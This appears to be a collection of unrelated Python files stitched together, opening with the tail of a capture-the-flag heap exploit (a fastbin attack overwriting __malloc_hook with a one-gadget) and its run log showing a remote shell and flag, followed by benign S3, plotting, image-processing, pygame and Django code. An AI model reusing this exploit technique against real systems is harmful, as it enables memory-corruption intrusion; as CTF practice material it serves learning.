log.success("__malloc_hook: "+hex(mlchk_addr))
#log.success("SYSTEM_Addr:   "+hex(syst_addr))
#log.success("EXIT_Addr:     "+hex(exit_addr))
deletenote(1)

success('Fastbin Attack')
#fakeFD -> fakeSize -> override __malloc_hook to OneGadget
fakeContent=p64(mlchk_addr-0x20-3).ljust(8,'\x00')+0x58*'\x00'#locate a fake size to fill with a chunk
padding='\x00'*(0x10+3)+p64(OneGadget).ljust(8,'\x00')+'\x00'*(0x58-0x10-3)
padding=padding.ljust(0x60,'\x00')
addnote('A'*0x60)#2
addnote('B'*0x60)#3
deletenote(2)
deletenote(3)# 3->2
editnote(3,fakeContent)# 2<-3=fakeFD
addnote('C'*0x60)#2/4 select the original chunk2
addnote(padding)#3/5 select the original chunk3 -> where the fakeFD point to
#DO NOT RECV after call malloc
'''
$ add
$ 1
$ 256
$ cat flag*
flag{Good_job!_Have_fun_in_sast!}
'''
r.interactive()

'''
cossack@ubuntu:~/Desktop/PWN/NJUPT_CGCTF/HomuraNote$ python test1.py
[+] Opening connection to 111.231.88.121 on port 6666: Done
[*] '/home/cossack/Desktop/PWN/NJUPT_CGCTF/HomuraNote/homuranote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/cossack/Desktop/PWN/NJUPT_CGCTF/HomuraNote/libc-2.24.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Leak Addr
[+] MainArenaAddr: 0x7ff7b8d37b00
[+] LibcBaseAddr:  0x7ff7b89a0000
[+] SYSTEM_Addr:   0x7ff7b89df480
[+] EXIT_Addr:     0x7ff7b89d5980
[+] ONE_GADGET:    0x7ff7b8a7694f
[+] __malloc_hook: 0x7ff7b8d37af0
[+] Fastbin Attack
[*] Switching to interactive mode
Ok,index:5.
1.add
2.show
3.edit
4.delete
5.exit
choice>>$ 1
Size:$ 256
$ aaa
UH\x89�H��dH\x8b\x04%(: 1: aaa: not found
$ ls
flag81359
$ cat flag*
flag{Good_job!_Have_fun_in_sast!}
$ ls

'''


from datetime import datetime
import pytz as pytz
import boto3

boto3.setup_default_session(profile_name='s3-viewer')
s3 = boto3.client('s3')
response = s3.list_buckets()
bucket_names = [bucket['Name'] for bucket in response['Buckets']]

print('Select the bucket:')
for name in bucket_names:
    print(name)
selected_bucket = input('Enter bucket name: ')

response = s3.list_objects(Bucket=selected_bucket)
object_names = [obj['Key'] for obj in response['Contents']]

print('\nSelect the object:')
for name in object_names:
    print(name)
selected_object = input('\nEnter object key: ')

response = s3.list_object_versions(Bucket=selected_bucket, Prefix=selected_object)
versions = response['Versions']
versions.sort(key=lambda version: version['LastModified'])

print('\nObject have the next versions:')
for version in versions:
    print(version['LastModified'])
input_date = input("\nEnter the date to get the object in the next format: 'YYYY-MM-dd HH:mm:ss': ")
date = datetime.strptime(input_date, '%Y-%m-%d %H:%M:%S').replace(tzinfo=pytz.UTC)

selected_version = None
for version in versions:
    if date > version['LastModified']:
        selected_version = version

if selected_version:
    response = s3.get_object(Bucket=selected_bucket, Key=selected_object, VersionId=selected_version['VersionId'])
    print(response['Body'].read().decode('utf-8'))
else:
    print('Such version is not exist')


#
# matplot graph class definition
#
# backend independent implementation
#
# Kazutomo Yoshii <ky@anl.gov>
#

import os, sys

import matplotlib.pyplot as plt
import matplotlib.animation as manimation
#import matplotlib.collections as collections
import matplotlib.cm as cm
from matplotlib.offsetbox import OffsetImage, AnnotationBbox
from matplotlib.cbook import get_sample_data
from matplotlib._png import read_png

from listrotate import *

class plot_info:
    def ypos(self,i):
        return 1.0 - 0.05*i

    def __init__(self, ax, params):
        self.ax = ax

        dir=os.path.abspath(os.path.dirname(sys.argv[0]))

        ax.axis([0,1,0,1])
        ax.axes.get_xaxis().set_visible(False)
        ax.axes.get_yaxis().set_visible(False)
        ax.set_frame_on=True

        cfg = params['cfg']
        info = params['info']

        xoff = 0.05

        l=1
#        for p in range(info['npkgs']):
#           ax.text( 0.1, self.ypos(l), 'CPU PKG%d' % p, color=params['pkgcolors'][p] )
#            l += 1
#        l += 2

        ax.text(xoff, self.ypos(l), '[INFO]' )
        l += 2
        ax.text(xoff, self.ypos(l), 'Description : %s' % cfg['desc'] )
        l += 1
        ax.text(xoff, self.ypos(l), 'Node : %s' % info['nodeinfo'] )
        l += 1
        ax.text(xoff, self.ypos(l), 'Linux kernel : %s' % info['kernelversion'] )
        l += 1
        plt.text( xoff, self.ypos(l), 'Freq. driver : %s' % info['freqdriver'] )
        l += 1
        plt.text( xoff, self.ypos(l), 'Memory [GB] : %d' % (int(info['memoryKB'])/1024/1024) )
        l += 1
        plt.text( xoff, self.ypos(l), 'CPU model : %s' % info['cpumodel'] )
        l += 1
        plt.text( xoff, self.ypos(l), 'No of procs : %s' % info['ncpus'] )
        l += 1
        plt.text( xoff, self.ypos(l), 'No of pkgs : %s' % info['npkgs'] )
        l += 1
        plt.text( xoff, self.ypos(l), 'No of NUMA nodes: %d' % info['nnodes'] )

        a = info['pkg0phyid']
        ht = 'enabled'
        if len(a) == len(set(a)):
            ht = 'disabled'
        l += 1
        plt.text( xoff, self.ypos(l), 'Hyperthread : %s' % ht)
#        l += 1
#        plt.text( xoff, ypos(l), 'Powercap pkg0 : %d Watt' % s_powercap['p0'] )
#        l += 1
#        plt.text( xoff, ypos(l), 'Powercap pkg1 : %d Watt' % s_powercap['p1'] )
#        l += 1

        fn = get_sample_data("%s/coolr-logo-poweredby-48.png" % dir, asfileobj=False)
        arr = read_png(fn)
        imagebox = OffsetImage(arr, zoom=0.6)
        ab = AnnotationBbox(imagebox, (0, 0),
                            xybox=(.8, .1),
                            xycoords='data',
                            boxcoords="axes fraction",
                            pad=0.5)
        ax.add_artist(ab)

    def update(self, n):
        # self.text1.set_text('%d' % n)
        s = 'dummy'

class plot_totpwr:
    def __init__(self, ax, params, totpwrs):
        self.ax = ax
        self.update(params, totpwrs)

    def update(self, params, totpwrs):

        cfg = params['cfg']
        cur_t = params['cur']
        gxsec = params['gxsec']

        self.ax.cla() # this is a brute-force way to update

        self.ax.axis([cur_t-gxsec, cur_t, cfg['pwrmin'], cfg['acpwrmax']]) # [xmin,xmax,ymin,ymax]

        x = totpwrs[0].getlistx()
        y = totpwrs[0].getlisty()
        self.ax.plot(x,y, scaley=False, color='black', label='RAPL total' )
        if len(totpwrs) > 1:
            x = totpwrs[1].getlistx()
            y = totpwrs[1].getlisty()
            self.ax.plot(x,y, '--', scaley=False,  color='black', label='AC' )

        self.ax.legend(loc='lower left', prop={'size':9})
        self.ax.set_xlabel('Time [S]')
        self.ax.set_ylabel('Power [W]')

# the following plots can be generalized
class plot_xsbench:
    def __init__(self, ax, params, lps):
        self.ax = ax

        # too lazy to figure out axhspan's object. fix this later
        self.update(params, lps)

    def update(self, params, lps):

        cfg = params['cfg']
        cur_t = params['cur']
        gxsec = params['gxsec']

        self.ax.cla() # this is a brute-force way to update

        self.ax.set_xlim([cur_t-gxsec, cur_t])
        self.ax.set_ylim(bottom=0)

        x = lps.getlistx()
        y = lps.getlisty()
        #self.ax.plot(x,y, scaley=False, color='black', label='' )
        self.ax.bar(x,y,  color='black', label='' )

        self.ax.legend(loc='lower left', prop={'size':9})
        self.ax.set_xlabel('Time [S]')
        self.ax.set_ylabel('TTS [S]')

class plot_appperf:
    def __init__(self, ax, params, lps):
        self.ax = ax

        # too lazy to figure out axhspan's object. fix this later
        self.update(params, lps)

    def update(self, params, lps):

        cfg = params['cfg']
        cur_t = params['cur']
        gxsec = params['gxsec']

        self.ax.cla() # this is a brute-force way to update

        self.ax.set_xlim([cur_t-gxsec, cur_t])
        self.ax.autoscale_view(scaley=True)
        self.ax.set_ylim(bottom=0)

        x = lps.getlistx()
        y = lps.getlisty()
        self.ax.plot(x,y, label='')

#        self.ax.legend(loc='lower left', prop={'size':9})
        self.ax.set_xlabel('Time [S]')
        self.ax.set_ylabel('App performance')

class plot_runtime: # mean, std
    def __init__(self, ax, params, pdata):
        self.ax = ax
        self.update(params, pdata)

    def update(self, params, pdata, ptype = 'temp'):
        cfg = params['cfg']
        cur_t = params['cur']
        gxsec = params['gxsec']

        self.ax.cla()
        self.ax.set_xlim([cur_t-gxsec, cur_t])
        self.ax.autoscale_view(scaley=True)

        x = pdata.getlistx()
        y = pdata.getlisty()
        e = pdata.getlisto()
        self.ax.plot(x,y, scaley=True,  label='')
        self.ax.errorbar(x,y,yerr=e, lw=.2,  label = '')

        # we need to update labels everytime because of cla()
        self.ax.set_xlabel('Time [S]')
        self.ax.set_ylabel('Runtime')
#        self.ax.legend(loc='lower left', prop={'size':9})
# ----------------------

class plot_rapl:
    def __init__(self, ax, params, ppkg, pmem, titlestr=''):
        self.ax = ax
        self.titlestr = titlestr
        # too lazy to figure out axhspan's object. fix this later
        self.update(params, ppkg, pmem)

    def update(self, params, ppkg, pmem):

        cfg = params['cfg']
        cur_t = params['cur']
        gxsec = params['gxsec']

        self.ax.cla() # this is a brute-force way to update

        self.ax.set_xlim([cur_t-gxsec, cur_t])
        self.ax.autoscale_view(scaley=True)

        #self.ax.axis([cur_t-gxsec, cur_t, cfg['pwrmin'], cfg['pwrmax']]) # [xmin,xmax,ymin,ymax]

        pkgid = 0
        for t in ppkg:
            x = t.getlistx()
            ycap = t.getlisto()
            #self.ax.plot(x,ycap, scaley=False, color='red', label='PKG%dlimit'%pkgid )
            self.ax.plot(x,ycap, color='red', label='PKG%dlimit'%pkgid )
            pkgid += 1

        pkgid = 0
        for t in ppkg:
            x = t.getlistx()
            y = t.getlisty()
            #self.ax.plot(x,y,scaley=False,color=params['pkgcolors'][pkgid], label='PKG%d'%pkgid)
            self.ax.plot(x,y,color=params['pkgcolors'][pkgid], label='PKG%d'%pkgid)
            pkgid += 1

        pkgid = 0
        for t in pmem:
            x = t.getlistx()
            y = t.getlisty()
            #self.ax.plot(x,y,scaley=False,color=params['pkgcolors'][pkgid], linestyle='--', label='PKG%ddram'%pkgid)
            self.ax.plot(x,y,color=params['pkgcolors'][pkgid], linestyle='--', label='PKG%ddram'%pkgid)
            pkgid += 1

        self.ax.legend(loc='lower left', prop={'size':9})
        self.ax.set_xlabel('Time [S]')
        self.ax.set_ylabel('Power [W]')
        if len(self.titlestr):
            self.ax.set_title("%s" % self.titlestr)

class plot_line_err: # used for temp and freq (mean+std)
    def __init__(self, ax, params, pdata, ptype = 'temp' ):
        self.ax = ax

        # unfortunately, I couldn't figure out how to update errorbar correctly
        self.update(params, pdata, ptype)

    def update(self, params, pdata, ptype = 'temp'):
        cfg = params['cfg']
        cur_t = params['cur']
        gxsec = params['gxsec']

        self.ax.cla() # this is a brute-force way to update. I don't know how to update errorbar correctly.
        if ptype == 'temp':
            self.ax.axis([cur_t-gxsec, cur_t, cfg['tempmin'], cfg['tempmax']]) # [xmin,xmax,ymin,ymax]
        elif ptype == 'freq':
            self.ax.axis([cur_t-gxsec, cur_t, cfg['freqmin'], cfg['freqmax']]) # [xmin,xmax,ymin,ymax]
            plt.axhspan(cfg["freqnorm"], cfg["freqmax"], facecolor='#eeeeee', alpha=0.5)
        else:
            self.ax.axis([cur_t-gxsec, cur_t, 0, 100]) # [xmin,xmax,ymin,ymax]

        pkgid = 0
        for t in pdata:
            x = t.getlistx()
            y = t.getlisty()
            e = t.getlisto()
            self.ax.plot(x,y,scaley=False,color=params['pkgcolors'][pkgid], label='PKG%d'%pkgid)
            self.ax.errorbar(x,y,yerr=e, lw=.2, color=params['pkgcolors'][pkgid], label = '')
            pkgid += 1

        # we need to update labels everytime because of cla()
        self.ax.set_xlabel('Time [S]')
        if ptype == 'temp':
            self.ax.set_ylabel('Core temperature [C]')
        elif ptype == 'freq':
            self.ax.set_ylabel('Frequency [GHz]')
        else:
            self.ax.set_ylabel('Unknown')
        self.ax.legend(loc='lower left', prop={'size':9})

# below are kind of examples
#

class plotline:
    def __init__(self, ax, x, y):
        self.ax = ax
        self.line, = ax.plot(x,y)

        self.ax.axhspan( 0.7, 1.0, facecolor='#eeeeee', alpha=1.0)

    def update(self, x, y):
        self.line.set_data(x, y)

class plotcolormap:
    def __init__(self, ax, X):
        self.ax = ax
        self.im = self.ax.imshow(X, cmap=cm.jet, interpolation='nearest')
        self.im.set_cmap('spectral')
        self.im.set_clim(0, 1.5)

        f = plt.gcf()
        f.colorbar(self.im)

    def update(self,X):
        self.im.set_array(X)

class plotbar:
    def __init__(self, ax, x, y):
        self.ax = ax
        self.rects = ax.bar(x, y)

    def update(self, y):
        for r, h in zip(self.rects, y):
            r.set_height(h)

class ploterrorbar:
    def __init__(self, ax, x, y, e):
        self.ax = ax
        l, (b, t), v = ax.errorbar(x, y, e)
        self.line = l
        self.bottom = b
        self.top = t
        self.vert = v

    def update(self, x, y, e):
        # XXX: this is a bit brute-force
        # I couldn't figure out how to update vert
        self.ax.cla()
        self.ax.errorbar(x, y, e)

class plottext:
    def ypos(self,i):
        return 1.0 - 0.05*i

    def __init__(self, ax, n):
        self.ax = ax

        dir=os.path.abspath(os.path.dirname(sys.argv[0]))

        ax.axis([0,1,0,1])
        ax.axes.get_xaxis().set_visible(False)
        ax.axes.get_yaxis().set_visible(False)
        ax.set_frame_on=True

        ax.plot( [ 0.1, 0.2], [0.96, 0.96], color='blue',  linewidth=2 )
        ax.plot( [ 0.1, 0.2], [0.91, 0.91], color='green', linewidth=2 )
        ax.plot( [ 0.1, 0.2], [0.86, 0.86], color='red',   linewidth=1 )

        self.text1 = ax.text( 0.3, self.ypos(2), '%d' % n )

        fn = get_sample_data("%s/coolr-logo-poweredby-48.png" % dir, asfileobj=False)
        arr = read_png(fn)
        imagebox = OffsetImage(arr, zoom=0.4)
        ab = AnnotationBbox(imagebox, (0, 0),
                            xybox=(.75, .12),
                            xycoords='data',
                            boxcoords="axes fraction",
                            pad=0.5)
        ax.add_artist(ab)

    def update(self, n):
        self.text1.set_text('%d' % n)


"""Models and all supporting code"""

import cv2
import numpy as np
import utils

class OtsuThresholding(object):
    """Represents model for predicting i-contours given images and o-countours using Otsu's method"""

    def __init__(self, kernel_size=None):
        """Configures loader

        :param kernel_size: size of kernel for morphological closing, when `None` closing is not performed,
            defaults to `None`
        """

        self._kernel_size = kernel_size

    def predict(self, input):
        """Predicts i-contour

        :param input: tuple with images and o-contours
        :return: predicted i-contours
        """

        images, o_contours = input
        assert images.ndim == o_contours.ndim == 3
        assert images.shape == o_contours.shape
        assert o_contours.dtype == np.bool

        i_contours = []

        for image, o_contour in zip(images, o_contours):
            image = (image / image.max() * 255).astype(np.uint8)

            _, i_contour_vector = cv2.threshold(image[o_contour], 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
            i_contour_vector = i_contour_vector.squeeze()
            i_contour = np.copy(o_contour)
            i_contour[o_contour] = i_contour_vector

            if self._kernel_size:
                kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (self._kernel_size, self._kernel_size))
                i_contour = cv2.morphologyEx(i_contour.astype(np.uint8), cv2.MORPH_CLOSE, kernel).astype(np.bool)
                i_contour[np.logical_not(o_contour)] = False  # ignore everything outside o-contour

            i_contours.append(i_contour)

        i_contours = np.array(i_contours)

        return i_contours

    def score(self, input, i_contours):
        """Computes mean IOU on the given data and labels

        :param input: tuple with images and o-contours
        :param i_contours: i-contours labels
        :return: mean IOU
        """

        i_contours_pred = self.predict(input)

        return utils.iou(i_contours, i_contours_pred)


import pygame

from player import Player

class GameScreen(object):

    def __init__(self, w, h, tilesize):
        pygame.init()

        #initialize all screen variables

        self.width  = w
        self.height = h
        self.scene   = pygame.display.set_mode( (w,h) )
        self.caption = pygame.display.set_caption("This is Game Title")
        self.icon    = pygame.image.load("assets/icon.png")
        #actually displays the icon
        pygame.display.set_icon(self.icon)

        #tilesize setup
        self.tileSize = tilesize
        self.gridColor = (130,98,22)

        # any game sound here.
        self.track   = pygame.mixer.music.load("assets/levelMusic.wav")
        self.m_loop  = pygame.mixer.music.play(-1)
        self.m_volum = pygame.mixer.music.set_volume(0)

        # also include background image

        self.bgc     = (51,51,51)

        #define player
        self.player =  Player(self, 5, 8)

        self.water = pygame.image.load("assets/water.png")
        self.grass = pygame.image.load("assets/grass.png")
        self.street = pygame.image.load("assets/road.png")
        self.CL    = pygame.image.load("assets/car_l.png")
        self.CR    = pygame.image.load("assets/car_r.png")
        self.LL    = pygame.image.load("assets/log_l.png")
        self.LM    = pygame.image.load("assets/log_m.png")
        self.LR    = pygame.image.load("assets/log_r.png")

        #roads
        self.roads = []
        self.roads.append(["","","CL","CR","","","","CL","CR",""])
        self.roads.append(["CR","","","","","","","","","CL"])
        self.roads.append(["","","","","","","CL","CR","",""])
        self.roads.append(["CL","CR","","","","","","","",""])
        self.roads.append(["","","CL","CR","","","","CL","CR",""])

        #logs
        self.logs = []
        self.logs.append(["LL","LM","LR","","","","","","",""])
        self.logs.append(["LR","","","","","","","","","LL"])
        self.logs.append(["","","LL","LM","LR","","","","",""])
        self.logs.append(["","LL","LR","","","","","LL","LR",""])
        self.logs.append(["","","","","LL","LM","LR","","",""])
        #self.object = ()

        self.clock = pygame.time.Clock()
        #self.timer = pygame.time.get_ticks()

        self.elapsedTime = 0

    def draw_grid(self):
        for x in range(0, self.width, self.tileSize):
            pygame.draw.line(self.scene, self.gridColor, (x, 0), (x, self.height) )
        for y in range(0, self.height, self.tileSize):
            pygame.draw.line(self.scene, self.gridColor, (0, y), (self.width, y) )

    def setBackground(self):
        self.scene.fill(self.bgc)
        self.draw_grid()

    def display_board(self):

        for i in range(10):
            coords = [i * self.tileSize, 0 * self.tileSize ]
            self.scene.blit(self.grass, ( coords[0] , coords[1] ) )

        for i in range(1,6):
            for u in range(10):
                coords = [u * self.tileSize, i * self.tileSize ]
                self.scene.blit(self.water, (coords[0], coords[1] ) )

        for i in range(10):
            coords = [i * self.tileSize, 6 * self.tileSize ]
            self.scene.blit(self.grass, ( coords[0] , coords[1] ) )

        for i in range(7,12):
            for u in range(10):
                coords = [u * self.tileSize, i * self.tileSize ]
                self.scene.blit(self.street, (coords[0], coords[1] ) )

        for i in range(10):
            coords = [i * self.tileSize, 12 * self.tileSize ]
            self.scene.blit(self.grass, ( coords[0] , coords[1] ) )

    def advance_rows(self):
        for i in range(len(self.roads)):
            row = self.roads[i]
            end = row.pop()
            row.insert(0, end)
            self.roads[i] = row
        for i in range(len(self.logs)):
            row = self.logs[i]
            end = row.pop()
            row.insert(0, end)
            self.logs[i] = row

    def display_objects(self):
        for i in range(len(self.roads)):
            row = self.roads[i]
            for u in range(len(row)):
                if(row[u] != ''):
                    if(row[u] == "CL"):
                        #print('-')
                        self.scene.blit(self.CL, (u * self.tileSize, (i+7) * self.tileSize) )
                    if(row[u] == "CR"):
                        #print('()')
                        self.scene.blit(self.CR, (u * self.tileSize, (i+7) * self.tileSize) )

        for i in range(len(self.logs)):
            row = self.logs[i]
            for u in range(len(row)):
                if(row[u] != ''):
                    if(row[u] == "LL"):
                        #print('-')
                        self.scene.blit(self.LL, (u * self.tileSize, (i+1) * self.tileSize) )
                    if(row[u] == "LM"):
                        #print('()')
                        self.scene.blit(self.LM, (u * self.tileSize, (i+1) * self.tileSize) )
                    if(row[u] == "LR"):
                        #print('()')
                        self.scene.blit(self.LR, (u * self.tileSize, (i+1) * self.tileSize) )

    def update(self):
        keepGoing = True

        self.setBackground()
        self.display_board()
        #self.draw_grid()

        dt = self.clock.tick()
        self.elapsedTime += dt

        if(self.elapsedTime > 1000):
            self.elapsedTime = 0
            self.advance_rows()

        self.display_objects()
        self.player.update()

        pygame.display.update()

        return keepGoing


from PIL import Image
import numpy as np
import matplotlib.cm as cm
import math

ASPECT_RATIO = 1.0 / 1.0
FRAME_HEIGHT = 8.0
FRAME_WIDTH = FRAME_HEIGHT * ASPECT_RATIO

XRES = 1000
YRES = 1000

x_min = -FRAME_WIDTH/2
x_max = FRAME_WIDTH/2
y_min = -FRAME_HEIGHT/2
y_max = FRAME_HEIGHT/2

x_values = np.linspace(x_min, x_max, XRES+1)
y_values = np.linspace(y_min, y_max, YRES+1)

#print(x_values)
#print(y_values)

pixels = []

for i in range(len(y_values) - 1)[::-1]:
    pixels.append([])
    for j in range(len(x_values) - 1):
        x1, x2 = x_values[j:j + 2]
        y1, y2 = y_values[i:i + 2]
        x, y = (x1 + x2)/2, (y1 + y2)/2

        if x > 0:
            y = -y

        # if -2 < x < 2 and -2 < y < 2:
        #     pixel = [0, 0, 0]
        # else:
        #     pixel = [255, 255, 255]

        z = (x+y*1j)

        if z.real != 0:
            theta = 2*(math.atan(z.imag/z.real) + np.pi/2)
        else:
            theta = np.pi

        pixel = [x * 255 for x in cm.viridis(theta/(2*np.pi))]

        pixels[-1].append(pixel)

array = np.array(pixels, dtype=np.uint8)

new_image = Image.fromarray(array)
new_image.save("img/z_squared.png")
new_image.show()


import imp
from django.shortcuts import render
from mywatchlist.models import Watchlist
from django.http import HttpResponse
from django.core import serializers

# Create your views here.
def show_watchlist(request):
    data_watchlist = Watchlist.objects.all()
    counter_watched = 0
    for show in data_watchlist :
        if show.watched == True :
            counter_watched += 1

    if counter_watched >= len(data_watchlist):
        tontonan = 'banyak'
    else :
        tontonan = 'sedikit'

    context = {
    'watchlist': data_watchlist,
    'nama': 'Muhammad Ruzain',
    'npm' : '2106750250',
    'tontonan' : tontonan
    }
    return render(request, "watchlist.html", context)

def show_watchlist_xml(request):
    data_watchlist = Watchlist.objects.all()
    return HttpResponse(serializers.serialize("xml", data_watchlist), content_type="application/xml")

def show_watchlist_json(request):
    data_watchlist = Watchlist.objects.all()
    return HttpResponse(serializers.serialize("json", data_watchlist), content_type="application/json")


import smilPython as sp
import time

thresh = 1000

im = sp.Image("https://smil.cmm.minesparis.psl.eu/images/balls.png")
iml = sp.Image(im)
img = sp.Image(im)
ims = sp.Image(im)

sp.label(im, iml)

im.show("balls.png")
iml.showLabel("iml")

sp.areaThreshold(iml, thresh, True, img)
img.showLabel("img")
sp.areaThreshold(im, thresh, False, ims)
ims.show("ims")

nlold = 0
for threshold in range(1, 6000, 20):
    sp.areaThreshold(im, threshold, True, ims)
    nl = sp.label(ims, iml)
    if nl != nlold:
        print(' Threshold {:6d} : {:3d} blobs'.format(threshold, nl))
        sp.Gui.processEvents()
        time.sleep(1)
    if nl == 0:
        break
    nlold = nl